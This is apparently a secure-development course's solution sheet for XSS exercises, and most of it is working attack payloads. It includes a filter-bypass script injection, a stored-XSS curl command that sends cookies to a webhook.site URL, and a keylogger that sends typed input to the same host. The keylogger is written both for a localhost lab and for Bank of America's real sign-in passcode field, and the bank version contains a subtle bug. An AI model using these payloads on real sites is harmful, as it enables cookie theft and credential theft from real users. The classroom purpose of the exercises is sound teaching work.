# SDL Course Solutions to Selected Exercises:

## XSS:

1. In simplexssfiltering:
   1. Find a payload to bypass filtering and get XSS

http://localhost:5000/aaa%3CScript%3Ealert()%3C/script%3E

1. Try the payload in 3.b in simplestoredxss. Why doesn’t it work? Can you find a payload that works? You can use curl.

curl 'http://localhost:5000/users/create/moshe%3Cbody%20onload=open(%22https:\\webhook.site\b9be4275-fa6b-44ce-8a7b-fe7ec5ad20c9%3fa%22+document.cookie)%3E'

1. A keylogger is malware that records victims’ keystrokes to steal passwords and secrets that they type.

You have XSS on Bank of America sign-in page. Use the dev console to write XSS payload that implements keylogger to steal the passcode. <https://www.bankofamerica.com/>

A picture containing graphical user interface

Description automatically generated

Solution in localhost: http://localhost:5000/%3Cinput%20name=aaa%3E%3Cscript%3Edocument.getElementsByName(%22aaa%22)[0].addEventListener(%22keyup%22,%20function()%7B%20var%20xhttp%20=%20new%20XMLHttpRequest();%20xhttp.onreadystatechange%20=%20function()%20%7B%20if%20(true)%20%7B%20return;%20%7D%20%7D;%20xhttp.open(%22GET%22,%20%22https://webhook.site/b9be4275-fa6b-44ce-8a7b-fe7ec5ad20c9?a=%22+document.getElementsByName(%22aaa%22)[0].value,%20true);%20xhttp.send();%20});%3C/script%3E

Solution in bankofamerica

document.getElementsByName("passcode1")[0].addEventListener("keyup", function(){

var xhttp = new XMLHttpRequest();

xhttp.onreadystatechange = function() {

if (true) {

return;

}

};

xhttp.open("GET", "https://webhook.site/b9be4275-fa6b-44ce-8a7b-fe7ec5ad20c9?a="+document.getElementsByTagName("passcode1")[0].value, true);

xhttp.send();

});